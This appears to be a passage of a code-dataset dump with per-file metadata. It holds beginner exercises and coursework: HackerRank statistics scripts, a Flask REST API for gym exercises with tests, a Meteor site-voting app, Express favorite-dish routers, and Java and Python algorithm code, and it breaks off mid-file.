[ { "alpha_fraction": 0.538922131061554, "alphanum_fraction": 0.5508981943130493, "avg_line_length": 19.875, "blob_id": "de056a681fc68b3f0b60315e9f87b3611b863df7", "content_id": "8f965f29b335fd5b6b8629d0ff9d0ab59a78971e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 167, "license_type": "permissive", "max_line_length": 35, "num_lines": 8, "path": "/10-Days-of-Statistics/Day 0/weighted-mean.py", "repo_name": "aivic/hackerrank", "src_encoding": "UTF-8", "text": "N = int(input())\nX = list(map(int, input().split()))\nW = list(map(int, input().split()))\n\nout = 0\nfor i in range(N):\n out += X[i] * W[i]\nprint(round(out/sum(W),1))\n" }, { "alpha_fraction": 0.8448275923728943, "alphanum_fraction": 0.8448275923728943, "avg_line_length": 28, "blob_id": "1bb6074bbd9768789db7556e9de4c415c35ae9c8", "content_id": "b3145efd24a66a31f42b6ca83fac41145cee01d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 58, "license_type": "permissive", "max_line_length": 44, "num_lines": 2, "path": "/README.md", "repo_name": "aivic/hackerrank", "src_encoding": "UTF-8", "text": "# hackerrank\nPractice codes related to hackerrank modules\n" }, { "alpha_fraction": 0.654321014881134, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 19.25, "blob_id": "615dafe5319fb95aa06e53141c227a1ecb678b30", "content_id": "97fac8c06e13f1f0293315ecc9507f1946f307af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 162, "license_type": "permissive", "max_line_length": 35, "num_lines": 8, "path": "/10-Days-of-Statistics/Day 0/mean_mode_median.py", "repo_name": "aivic/hackerrank", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy import stats\n\nX = int(input())\nN = list(map(int, input().split()))\nprint(np.mean(N))\nprint(np.median(N))\nprint(stats.mode(N)[0][0])\n" }, { "alpha_fraction": 0.5599173307418823, "alphanum_fraction": 0.5847107172012329, "avg_line_length": 25.88888931274414, "blob_id": "4847bc8c561960df8a4d0c0b95c762bcbf581b39", "content_id": "f7b63edddc8a30975da3aba8b537b8f9655eaf4b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 484, "license_type": "permissive", "max_line_length": 50, "num_lines": 18, "path": "/10-Days-of-Statistics/Day 0/mini-max sum.py", "repo_name": "aivic/hackerrank", "src_encoding": "UTF-8", "text": "#!/bin/python3\n\nimport itertools as it\n\n# Complete the miniMaxSum function below.\ndef miniMaxSum(arr):\n variations = list(it.combinations(arr,4))\n m1 = 0; m2 = sum(variations[0])\n for i in range(len(variations)):\n if sum(variations[i]) > m1:\n m1 = sum(variations[i])\n if sum(variations[i]) <= m2:\n m2 = sum(variations[i])\n print(m2, m1)\nif __name__ == '__main__':\n arr = list(map(int, input().rstrip().split()))\n\n miniMaxSum(arr)\n" } ]
4
joe-sleeman/PyClub
https://github.com/joe-sleeman/PyClub
4f2d152b161cdc6f9e93ed7a94fd3389c6039654
44139035b717de0595a4f6716c158f38baddf9d6
90dc6ac08eb69613cffb20304684d60708894f71
refs/heads/master
2020-11-29T15:08:31.351865
2017-05-02T20:57:07
2017-05-02T20:57:07
87,487,001
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.761904776096344, "alphanum_fraction": 0.761904776096344, "avg_line_length": 9.5, "blob_id": "0f6b2502cfe8ec81806011d1ef90a3febb7682f7", "content_id": "060c1c81ddcfe89cf558a8857acf54d12881d674", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 11, "num_lines": 2, "path": "/README.md", "repo_name": "joe-sleeman/PyClub", "src_encoding": "UTF-8", "text": "# PyClub\nPyClub Xero\n" }, { "alpha_fraction": 0.5278401970863342, "alphanum_fraction": 0.5405742526054382, "avg_line_length": 29.535432815551758, "blob_id": "b61625ab8df151727f3baa7788ff414bd013ac52", "content_id": "87139cd1f813d9a02cdb7f6948b960ef6e700dcb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4005, "license_type": "no_license", "max_line_length": 79, "num_lines": 127, "path": "/api/gym_rest_api.py", "repo_name": "joe-sleeman/PyClub", "src_encoding": "UTF-8", "text": "from flask import Flask, jsonify, abort, make_response\r\nfrom flask_restful import Api, Resource, reqparse, fields, marshal\r\nfrom flask_httpauth import HTTPBasicAuth\r\n\r\napp = Flask(__name__, static_url_path=\"\")\r\napi = Api(app)\r\nauth = HTTPBasicAuth()\r\n\r\n\r\[email protected]_password\r\ndef get_password(username):\r\n if username == 'user':\r\n return 'password'\r\n\r\n\r\[email protected]_handler\r\ndef unauthorized():\r\n # return 403 instead of 401 to prevent browsers from displaying the default\r\n # auth dialog\r\n return make_response(jsonify({'message': 'Unauthorized access'}), 403)\r\n\r\nexercises = [\r\n {\r\n 'id': 1,\r\n 'title': u'Bench Press',\r\n 'sets': 4,\r\n 'reps': 8,\r\n 'weight': 20,\r\n 'done': False\r\n },\r\n {\r\n 'id': 2,\r\n 'title': u'DB Curls',\r\n 'sets': 4,\r\n 'reps': 8,\r\n 'weight': 15.00,\r\n 'done': False\r\n },\r\n]\r\n\r\nexercise_fields = {\r\n 'title': fields.String,\r\n 'sets': fields.Integer,\r\n 'reps': fields.Integer,\r\n 'weight': fields.Float,\r\n 'done': fields.Boolean,\r\n 'uri': fields.Url('exercise')\r\n}\r\n\r\n\r\nclass ExerciseListAPI(Resource):\r\n decorators = [auth.login_required]\r\n\r\n def __init__(self):\r\n self.reqparse = reqparse.RequestParser()\r\n self.reqparse.add_argument('title', type=str, required=True,\r\n help='No title provided',\r\n location='json')\r\n self.reqparse.add_argument('sets', type=int, default=3,\r\n location='json')\r\n self.reqparse.add_argument('reps', type=int, default=9,\r\n location='json')\r\n self.reqparse.add_argument('weight', type=float, default=10.00,\r\n location='json')\r\n super(ExerciseListAPI, self).__init__()\r\n\r\n def get(self):\r\n return {'exercises': [marshal(x, exercise_fields) for x in exercises]}\r\n\r\n def post(self):\r\n args = self.reqparse.parse_args()\r\n exercise = {\r\n 'id': exercises[-1]['id'] + 1,\r\n 'title': args['title'],\r\n 'sets': args['sets'],\r\n 'reps': args['reps'],\r\n 'weight': args['weight']\r\n }\r\n exercises.append(exercise)\r\n return {'exercise': marshal(exercise, exercise_fields)}, 201\r\n\r\n\r\nclass ExerciseAPI(Resource):\r\n decorators = [auth.login_required]\r\n\r\n def __init__(self):\r\n self.reqparse = reqparse.RequestParser()\r\n self.reqparse.add_argument('title', type=str, location='json')\r\n self.reqparse.add_argument('sets', type=int, location='json')\r\n self.reqparse.add_argument('reps', type=int, location='json')\r\n self.reqparse.add_argument('weight', type=float, location='json')\r\n self.reqparse.add_argument('done', type=bool, location='json')\r\n super(ExerciseAPI, self).__init__()\r\n\r\n def get(self, id):\r\n exercise = [ex for ex in exercises if ex['id'] == id]\r\n if len(exercise) == 0:\r\n abort(404)\r\n return {'exercise': marshal(exercise[0], exercise_fields)}\r\n\r\n def put(self, id):\r\n exercise = [ex for ex in exercises if ex['id'] == id]\r\n if len(exercise) == 0:\r\n abort(404)\r\n exercise = exercise[0]\r\n args = self.reqparse.parse_args()\r\n for i, j in args.items():\r\n if j is not None:\r\n exercise[i] = j\r\n return {'exercise': marshal(exercise, exercise_fields)}\r\n\r\n def delete(self, id):\r\n exercise = [ex for ex in exercises if ex['id'] == id]\r\n if len(exercise) == 0:\r\n abort(404)\r\n exercises.remove(exercise[0])\r\n return {'result': True}\r\n\r\n\r\napi.add_resource(ExerciseListAPI, '/gym/api/v1.0/exercises',\r\n endpoint='exercises')\r\napi.add_resource(ExerciseAPI, '/gym/api/v1.0/exercises/<int:id>',\r\n endpoint='exercise')\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n" }, { "alpha_fraction": 0.5689354538917542, "alphanum_fraction": 0.5741710066795349, "avg_line_length": 23.46666717529297, "blob_id": "6a66d2d6ec6c5aa6a3618a2d784ba57cecf0bc92", "content_id": "fde165e45232048a16f7c17494cd4809df052bdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1146, "license_type": "no_license", "max_line_length": 62, "num_lines": 45, "path": "/api/test_basic_rest.py", "repo_name": "joe-sleeman/PyClub", "src_encoding": "UTF-8", "text": "\"\"\"Tests for basic REST API\"\"\"\r\nimport json\r\nimport unittest\r\nfrom basic_restful_api import APP\r\n\r\n\r\nclass WebApiTests(unittest.TestCase):\r\n \"\"\"Test the two basic REST endpoints - ping/healthcheck\"\"\"\r\n\r\n def test_ping(self):\r\n \"\"\"Ping\"\"\"\r\n\r\n # Get a response from the API\r\n response = APP.test_client().get(\"ping\")\r\n\r\n # Define our expected & actual\r\n expected = \"200 OK\"\r\n actual = response.status\r\n\r\n # Check\r\n self.assertEqual(expected, actual)\r\n\r\n def test_healthcheck(self):\r\n \"\"\"Healthcheck\"\"\"\r\n\r\n # Get a response from the API\r\n response = APP.test_client().get(\"healthcheck\")\r\n\r\n # Define expected & actual\r\n expected = \"200 OK\"\r\n actual = response.status\r\n\r\n # Check result\r\n self.assertEqual(expected, actual)\r\n\r\n # Redefine expected & actual\r\n expected = {'Healthcheck': 'All good!'}\r\n # Load response data into json as actual\r\n actual = json.loads(response.data)\r\n\r\n # Check result\r\n self.assertEqual(expected, actual)\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n" } ]
3
YoungGer/MoocCourses
https://github.com/YoungGer/MoocCourses
b380f0e75fc97a38697d530b7ce056560a9d1310
6758711971b7f863777f48135d021aad3f8e77f3
34289f858779ce8ec3bd0fe0987a1cae32cbdb28
refs/heads/master
2021-01-21T04:27:21.901922
2016-04-24T12:05:48
2016-04-24T12:05:48
38,625,874
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.789340078830719, "alphanum_fraction": 0.7918781638145447, "avg_line_length": 23.5625, "blob_id": "9a75ad6544e7ce058237b1598afeb7419afda630", "content_id": "931099b2af931c3c7fbce223c0dc081947f2eb81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 788, "license_type": "no_license", "max_line_length": 105, "num_lines": 32, "path": "/FullStackWebDev/P2_FrontEndWebUIFrameworkAndTools/w4/README.txt", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "Understand how to write and run JavaScript programs using Node\nUnderstand about Node modules\nWrite JavaScript code as Node modules\nExport Node modules and include them in other JavaScript programs\n\n#Writing a Simple Quadratic Equation Solver\nsimplequad.js\n$node simplequad\n\n#Writing Node Modules\ndiscriminant.js\nquadratic.js\nsolve1.js\n$node solve\n\n#Using the \"prompt\" Node Module\n$npm search prompt\n$npm init #create json file\n$npm install prompt -S #install the prompt module and also save this dependency in the package.json file.\nsolve2.js\n\n\n#less\nnpm install -g less #global use\n$lessc mystyles.less > mystyles.css\n\n#bower\nnpm install -g bower\nbower init \t\t\t #building bowe.json file\nbower install bootstrap -S\nbower install font-awesome -S\nbower install #install all the files\n\n\n" }, { "alpha_fraction": 0.5052274465560913, "alphanum_fraction": 0.5084860920906067, "avg_line_length": 28.110671997070312, "blob_id": "1d96f9ebc2646737c8d97c60e8142566a6c6e461", "content_id": "e4b36788512a30e9068c7e38e0dfd6ac83cc64e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 7411, "license_type": "no_license", "max_line_length": 135, "num_lines": 253, "path": "/FullStackWebDev/P0_Meteor/meteorProject/siteace/siteace.js", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "Websites = new Mongo.Collection(\"websites\");\nComments = new Mongo.Collection(\"comments\");\n\nif (Meteor.isClient) {\n\n // routing\n Router.configure({\n layoutTemplate: 'ApplicationLayout'\n });\n\n Router.route('/', function () {\n this.render('navbar', {\n to:\"navbar\"\n });\n this.render('website_form', {\n to:\"main1\"\n });\n this.render('website_list', {\n to:\"main2\"\n });\n });\n\n // Router.route('/images', function () {\n // this.render('navbar', {\n // to:\"navbar\"\n // });\n // this.render('images', {\n // to:\"main\"\n // });\n // });\n\n Router.route('/web/:_id', function () {\n this.render('detail_item', {\n to:\"navbar\",\n data:function(){\n Session.set(\"userFilter\", this.params._id);\n return Websites.findOne({_id:this.params._id});\n }\n });\n this.render('blank', {\n to:\"main1\"\n });\n this.render('blank', {\n to:\"main2\"\n });\n });\n\n\n\t/////\n\t// template helpers \n\t/////\n\n\t// helper function that returns all available websites\n\tTemplate.website_list.helpers({\n\t\twebsites:function(){\n\t\t\treturn Websites.find({},{sort:{vote:-1, date:-1}});\n\t\t}\n\t});\n\n\n\t/////\n\t// template events \n\t/////\n\n\tTemplate.website_item.events({\n\t\t\"click .js-upvote\":function(event){\n\t\t\t// example of how you can access the id for the website in the database\n\t\t\t// (this is the data context for the template)\n\t\t\tvar website_id = this._id;\n var vote = Websites.findOne({_id:website_id}).vote;\n var up = Websites.findOne({_id:website_id}).up;\n var down = Websites.findOne({_id:website_id}).down;\n\t\t\tconsole.log(\"Up voting website with id \"+website_id);\n\t\t\t// put the code in here to add a vote to a website!\n Websites.update({_id:website_id}, \n {$set: {vote:vote+1,up:up+1}});\n\t\t\treturn false;// prevent the button from reloading the page\n\t\t}, \n\t\t\"click .js-downvote\":function(event){\n\n\t\t\t// example of how you can access the id for the website in the database\n\t\t\t// (this is the data context for the template)\n\t\t\tvar website_id = this._id;\n var vote = Websites.findOne({_id:website_id}).vote;\n var up = Websites.findOne({_id:website_id}).up;\n var down = Websites.findOne({_id:website_id}).down;\n\t\t\tconsole.log(\"Down voting website with id \"+website_id);\n\n\t\t\t// put the code in here to remove a vote from a website!\n Websites.update({_id:website_id}, \n {$set: {vote:vote-1,down:down+1}});\n\t\t\treturn false;// prevent the button from reloading the page\n\t\t}\n\t});\n\n\tTemplate.website_form.events({\n\t\t\"click .js-toggle-website-form\":function(event){\n\t\t\t$(\"#website_form\").toggle('slow');\n\t\t}, \n\t\t\"submit .js-save-website-form\":function(event){\n\n\t\t\t// here is an example of how to get the url out of the form:\n\t\t\tvar url = event.target.url.value;\n var title = event.target.title.value;\n var description = event.target.description.value;\n\t\t\tconsole.log(\"The url they entered is: \"+url);\n console.log(\"The title they entered is: \"+title);\n console.log(\"The description they entered is: \"+description);\n\t\t\t\n\t\t\t// put your website saving code in here!\t\n // 往collection中增加就行了呗\n if (Meteor.user()){\n console.log('login insert');\n if(url){\n if(description){\n Websites.insert({\n url:url, \n title:title, \n description:description,\n vote: 0,\n date: new Date(),\n comments: []\n });\n }\n }\n // Websites.insert({\n // url:url, \n // title:title, \n // description:description,\n // vote: 0,\n // date: new Date(),\n // comments: []\n // });\n\n\n }\n else {\n console.log('not login insert permit');\n }\n\t\t\treturn false;// stop the form submit from reloading the page\n\n\t\t}\n\t});\n\n Template.detail_item.helpers({\n comments:function(){\n // var web = Websites.findOne({});\n // var id = Router.current().params._id;\n // return Websites.findOne({_id:id}).comments;\n if (Session.get(\"userFilter\")){// they set a filter!\n return Comments.find({id:Session.get(\"userFilter\")}); \n }\n else {\n return Comments.find({}); \n }\n\n return Comments.find({});\n }\n });\n\n\n Template.detail_item.events({\n 'submit .js-add-comment':function(event){\n var comment, id;\n\n comment = event.target.comment.value;\n id = this._id;\n console.log(\"comment: \"+comment);\n console.log(\"id: \"+ id);\n Comments.insert({\n c:comment,\n id:id\n })\n\n\n //把comment加入到对应的数据库中的comments里面\n // var old_comments = Websites.findOne({_id:id}).comments;\n // console.log(old_comments);\n // old_comments.push({c:comment});\n // console.log(old_comments);\n\n // Websites.update({_id:id}, \n // {$set: {comments:old_comments}});\n // if (Meteor.user()){\n // Images.insert({\n // img_src:img_src, \n // img_alt:img_alt, \n // createdOn:new Date(),\n // createdBy:Meteor.user()._id,\n // comments:[]\n // });\n\n // }\n // $(\"#image_add_form\").modal('hide');\n return false;\n }\n });\n}\n\n\nif (Meteor.isServer) {\n\t// start up function that creates entries in the Websites databases.\n Meteor.startup(function () {\n // code to run on server at startup\n if (!Websites.findOne()){\n \tconsole.log(\"No websites yet. Creating starter data.\");\n \t Websites.insert({\n \t\ttitle:\"Goldsmiths Computing Department\", \n \t\turl:\"http://www.gold.ac.uk/computing/\", \n \t\tdescription:\"This is where this course was developed.\", \n \t\tcreatedOn:new Date(),\n vote: 0,\n up: 0,\n down: 0,\n date: new Date(),\n comments: []\n \t});\n \t Websites.insert({\n \t\ttitle:\"University of London\", \n \t\turl:\"http://www.londoninternational.ac.uk/courses/undergraduate/goldsmiths/bsc-creative-computing-bsc-diploma-work-entry-route\", \n \t\tdescription:\"University of London International Programme.\", \n \t\tcreatedOn:new Date(),\n vote: 0,\n up: 0,\n down: 0,\n date: new Date(),\n comments: []\n \t});\n \t Websites.insert({\n \t\ttitle:\"Coursera\", \n \t\turl:\"http://www.coursera.org\", \n \t\tdescription:\"Universal access to the world’s best education.\", \n \t\tcreatedOn:new Date(),\n vote: 0,\n up: 0,\n down: 0,\n date: new Date(),\n comments: []\n \t});\n \tWebsites.insert({\n \t\ttitle:\"Google\", \n \t\turl:\"http://www.google.com\", \n \t\tdescription:\"Popular search engine.\", \n \t\tcreatedOn:new Date(),\n vote: 0,\n up: 0,\n down: 0,\n date: new Date(),\n comments: []\n \t});\n }\n });\n}\n" }, { "alpha_fraction": 0.5850746035575867, "alphanum_fraction": 0.5861940383911133, "avg_line_length": 28.788888931274414, "blob_id": "ad9176c9deb4df7e001fc717455a453a0179cf45", "content_id": "e1891d1e71033dd4e4b7803676556babecf494d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2680, "license_type": "no_license", "max_line_length": 92, "num_lines": 90, "path": "/FullStackWebDev/P5_ServerSideDevelopment/week4/rest-server-passport/routes/favoriteRouter2.js", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar bodyParser = require('body-parser');\nvar mongoose = require('mongoose');\nvar Verify = require('./verify');\n\nvar Favorites = require('../models/favorites');\n\nvar favoritesRouter = express.Router();\nfavoritesRouter.use(bodyParser.json());\n\nfavoritesRouter.route('/')\n.get(Verify.verifyOrdinaryUser, function (req, res, next) {\n Favorites.find({'postedBy': req.decoded._doc._id})\n .populate('postedBy')\n .populate('dishes')\n .exec(function (err, dish) {\n if (err) throw err;\n res.json(dish);\n });\n})\n\n.post(Verify.verifyOrdinaryUser, function (req, res, next) {\n req.body.postedBy = req.decoded._doc._id;\n req.body.dishes = [];\n var dishId = req.body._id;\n req.body.dishes.push(dishId);\n delete req.body._id;\n\n Favorites.findOne({'postedBy': req.decoded._doc._id}, function (err, favorite){\n if(favorite == null){\n // create if not exists\n Favorites.create(req.body, function (err, favorite) {\n if (err) throw err;\n console.log('Fav created!');\n var id = favorite._id;\n res.json(favorite);\n })\n } else {\n var index_existing = favorite.dishes.indexOf(dishId);\n //add if not already added\n if(index_existing === -1){\n console.log(\"Adding new favorite\");\n favorite.dishes.push(dishId);\n favorite.save(function (err, favorite) {\n if (err) throw err;\n console.log('Added Favorite!');\n });\n }else{\n console.log(\"Favorite already exist\");\n }\n res.json(favorite);\n }\n \n })\n \n})\n\n.delete(Verify.verifyOrdinaryUser, function (req, res, next) {\n Favorites.findOneAndRemove({'postedBy': req.decoded._doc._id}, function (err, favorite){\n console.log('Removing it all '+ favorite);\n res.json(favorite);\n }) \n});\n\nfavoritesRouter.route('/:dishObjectId')\n\n.delete(Verify.verifyOrdinaryUser, function (req, res, next) {\n Favorites.findOne({'postedBy': req.decoded._doc._id}, function (err, favorite){ \n if(favorite == null){\n console.log(\"Favorite dont exist\");\n }else{\n var indexOfDish = favorite.dishes.indexOf(req.params.dishObjectId);\n if (indexOfDish != -1){ \n favorite.dishes.splice(indexOfDish,1);\n\n favorite.save(function (err, favorite) {\n if (err) throw err;\n console.log('Favorite dishes remowed from list');\n });\n }else{\n console.log('Favorite to delete not found');\n }\n }\n res.json(favorite); \n })\n});\n\n\n\nmodule.exports = favoritesRouter;" }, { "alpha_fraction": 0.5014084577560425, "alphanum_fraction": 0.5126760601997375, "avg_line_length": 19.941177368164062, "blob_id": "1e7b82d88ddde1ce956a78813b93949d15ee6e63", "content_id": "be0f39fc52535cf4a394488d2ca7b218011321bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 355, "license_type": "no_license", "max_line_length": 55, "num_lines": 17, "path": "/FullStackWebDev/P0_Meteor/meteorProject/image_share2/startup.js", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "if (Meteor.isServer) {\n\tMeteor.startup(function(){\n\t\tif (Images.find().count() == 0) {\n\n\t\t\tfor (var i=1;i<=8;i++) {\n\t\t\t\tImages.insert(\n\t\t\t\t\t{\n\t\t\t\t\t image_src :\"me\"+i+\".jpg\",\n\t\t\t\t\t image_alt :\"me\"+i\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t} // end of for images\n\t\t\t// count the image\n\t\t\tconsole.log(\"startup.js says\"+Images.find().count())\n\t\t} // end of if images==0\n\t});\n}" }, { "alpha_fraction": 0.3681972920894623, "alphanum_fraction": 0.3890306055545807, "avg_line_length": 20.559633255004883, "blob_id": "eb9a07295bcbf59becdf572dabb0dd605274e701", "content_id": "9e5d966cf5811c44858c66dd3252ddb8bd10ea92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2514, "license_type": "no_license", "max_line_length": 75, "num_lines": 109, "path": "/Stanford_Algorithms/week1/w1_mergesort_inversion.py", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "\n# coding: utf-8\n\n# In[10]:\n\n#设置工作空间\nimport os\nos.chdir(\"./Downloads/\")\nos.getcwd()\n\n\n# In[55]:\n\n#获得数据列表\nl = [] #此项包含了1000个数据\nl_test = [1,3,5,2,4,6] #此项为简单的测试数据\nwith open(\"IntegerArray.txt\",\"r\") as f:\n for line in f:\n l.append(float(line))\n\n\n# In[98]:\n\n#定义MergeSort算法\nclass MergeSort:\n def __init__(self,l):\n self.l = l\n self.length = len(l)\n def merge(self,a,b):\n #preparation\n i=0\n i1=len(a)\n j=0\n j1=len(b)\n n =i1+j1\n l=[]\n #iteration\n for x in range(n):\n if(a[i]<b[j]):\n l.append(a[i])\n i += 1\n if (i==i1):\n for x in range(j,j1):\n l.append(b[x])\n break \n else:\n l.append(b[j])\n j += 1\n if (j==j1):\n for x in range(i,i1):\n l.append(a[x])\n break\n return l\n \n \n def sort(self,l):\n n = len(l)\n #基础情况\n if (n==1):\n return l\n #非基础情况,分组\n a = l[0:n/2]\n b = l[n/2:] #奇数的话b的个数比a多1\n return self.merge(self.sort(a), self.sort(b))\n \n def test(self):\n print self.l\n print self.length\n\n\n# In[106]:\n\n#Inversion算法\nclass Inversion:\n def __init__(self,l):\n self.l = l\n self.length = len(l)\n def splitmerge(self,a,b):\n # a,b is arrays which is sorted\n #preparation\n lena = len(a)\n lenb = len(b)\n ai = 0\n bi = 0\n n = lena+lenb\n r_num = 0\n for i in range(n):\n if(a[ai]>b[bi]):\n r_num += len(a[ai:])\n bi += 1\n if (bi==lenb):\n break \n else: \n ai += 1 \n if (ai==lena):\n break \n return r_num\n def invers(self,l):\n n = len(l)\n #基础情况\n if (n==1 or n==0):\n return 0\n #非基础情况,分组并排序\n a = l[0:n/2]\n a_sort = MergeSort([]).sort(a)\n b = l[n/2:] #奇数的话b的个数比a多1\n b_sort = MergeSort([]).sort(b)\n return self.invers(a)+self.invers(b)+self.splitmerge(a_sort,b_sort)\n def test(self):\n pass\n\n" }, { "alpha_fraction": 0.5748552680015564, "alphanum_fraction": 0.5760959386825562, "avg_line_length": 29.225000381469727, "blob_id": "27324322a3aa3a73e303fedbe3c30b26f9a56bd2", "content_id": "ebde871512bf60091d4352f290fccdb78aa3d784", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2418, "license_type": "no_license", "max_line_length": 100, "num_lines": 80, "path": "/FullStackWebDev/P5_ServerSideDevelopment/week4/rest-server-passport/routes/favoriteRouter.js", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "var express = require('express');\n\n// add\nvar bodyParser = require('body-parser');\nvar mongoose = require('mongoose');\nvar morgan = require('morgan');\nvar Favorites = require('../models/favorites');\nvar Verify = require('./verify');\n// add\n\nvar favoriteRouter = express.Router();\nfavoriteRouter.use(bodyParser.json());\n\n\nfavoriteRouter.route('/')\n.get(Verify.verifyOrdinaryUser, function (req, res, next) {\n //res.end('Will send all the dishes to you!');\n Favorites.find({})\n .populate('postedBy')\n .populate('dishes.postedBy')\n .populate('dishes.comments.postedBy')\n .exec(function (err, dish) {\n if (err) throw err;\n res.json(dish);\n });\n})\n\n.post(Verify.verifyAdmin, function (req, res, next) {\n //res.end('Will add the dish: ' + req.body.name + ' with details: ' + req.body.description); \n Favorites.create(req.body, function (err, dish) {\n if (err) throw err;\n console.log('Dish created!');\n var id = dish._id;\n\n res.writeHead(200, {\n 'Content-Type': 'text/plain'\n });\n res.end('Added the favorite dish with id: ' + id);\n });\n})\n\n.delete(Verify.verifyAdmin, function (req, res, next) {\n //res.end('Deleting all dishes');\n Favorites.remove({}, function (err, resp) {\n if (err) throw err;\n res.json(resp);\n });\n});\n\nfavoriteRouter.route('/:dishId')\n// .get(Verify.verifyOrdinaryUser, function (req, res, next) {\n// Dishes.findById(req.params.dishId)\n// .populate('comments.postedBy')\n// .exec(function (err, dish) {\n// if (err) throw err;\n// res.json(dish);\n// });\n// })\n\n// .put(Verify.verifyAdmin,function(req, res, next){\n// //res.write('Updating the dish: ' + req.params.dishId + '\\n');\n// //res.end('Will update the dish: ' + req.body.name + \n// // ' with details: ' + req.body.description);\n// Dishes.findByIdAndUpdate(req.params.dishId, {\n// $set: req.body\n// }, {\n// new: true\n// }, function (err, dish) {\n// if (err) throw err;\n// res.json(dish);\n// });\n// })\n.delete(Verify.verifyAdmin,function(req, res, next){\n //res.end('Deleting dish: ' + req.params.dishId);\n Favorites.findByIdAndRemove(req.params.dishId, function (err, resp) { if (err) throw err;\n res.json(resp);\n });\n});\n\nmodule.exports = favoriteRouter;\n" }, { "alpha_fraction": 0.4401840567588806, "alphanum_fraction": 0.45628833770751953, "avg_line_length": 28.325580596923828, "blob_id": "a8708048d49f88e217d4d161abe4b5deb474f6d5", "content_id": "042dac5e070ca3eaa45bb9bb48e8155b15b4c306", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2608, "license_type": "no_license", "max_line_length": 104, "num_lines": 86, "path": "/Princeton_Algorithms/w1_percolation/PercolationStats.java", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "import java.util.NavigableMap;\r\n\r\n/**\r\n * Created by Guangyao on 2015/7/3.\r\n */\r\npublic class PercolationStats {\r\n\r\n private int[] xt;\r\n private int n ;\r\n private int t ;\r\n public PercolationStats(int N, int T) // perform T independent experiments on an N-by-N grid\r\n {\r\n if(N<=0 || T<=0 ) {\r\n throw new java.lang.IllegalArgumentException(\"error\" + N+T);\r\n }\r\n\r\n xt = new int[T];\r\n n = N;\r\n t = T;\r\n int xti = 0;\r\n\r\n while(T>0){\r\n int counts = 0;\r\n Percolation p = new Percolation(N);\r\n\r\n // each percolate case\r\n while(! p.percolates())\r\n {\r\n int i = StdRandom.uniform(N)+1;\r\n int j = StdRandom.uniform(N)+1;\r\n if (! p.isOpen(i,j))\r\n {\r\n p.open(i,j);\r\n counts = counts +1;\r\n }\r\n }\r\n\r\n xt[xti] = counts;\r\n xti = xti+1;\r\n T = T -1;\r\n }\r\n\r\n }\r\n\r\n public double mean() // sample mean of percolation threshold\r\n {\r\n double sumi = 0;\r\n for (int i = 0; i < t; i++) {\r\n sumi = sumi + (double)xt[i]/(n*n);\r\n }\r\n return (double)sumi/t;\r\n }\r\n public double stddev() // sample standard deviation of percolation threshold\r\n {\r\n double sumi = 0;\r\n for (int i = 0; i < t; i++) {\r\n sumi += Math.pow((double)xt[i]/(n*n)-mean(),2) ;\r\n }\r\n return Math.sqrt(sumi/(t-1));\r\n }\r\n public double confidenceLo() // low endpoint of 95% confidence interval\r\n {\r\n return mean()-1.96*stddev()/Math.sqrt(t);\r\n }\r\n public double confidenceHi() // high endpoint of 95% confidence interval\r\n {\r\n return mean()+1.96*stddev()/Math.sqrt(t);\r\n }\r\n\r\n public static void main(String[] args) // test client (described below)\r\n {\r\n //int n = Integer.parseInt(args[0]);\r\n //int t = Integer.parseInt(args[1]);\r\n\r\n int n = 200;\r\n int t = 100;\r\n\r\n Stopwatch timer = new Stopwatch();\r\n PercolationStats ps = new PercolationStats(n, t);\r\n double time = timer.elapsedTime();\r\n System.out.println(\"time = \" + time);\r\n System.out.println(\"mean = \" + ps.mean());\r\n System.out.println(\"stddev = \" + ps.stddev());\r\n System.out.println(\"95% confidence interval = \" + ps.confidenceLo() + \", \" + ps.confidenceHi());\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.587959885597229, "alphanum_fraction": 0.5906354784965515, "avg_line_length": 22.375, "blob_id": "cdae58da83585eba86771b76487f33468d3eeb67", "content_id": "f9a8975bb26bc163074ca4b55307d67e7fc381bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1769, "license_type": "no_license", "max_line_length": 67, "num_lines": 64, "path": "/FullStackWebDev/P5_ServerSideDevelopment/week2/express/myapp/app.js", "repo_name": "YoungGer/MoocCourses", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar app = express();\nvar path = require('path');\n\n// 设置静态文件的存放目录\napp.use(express.static(path.join(__dirname, 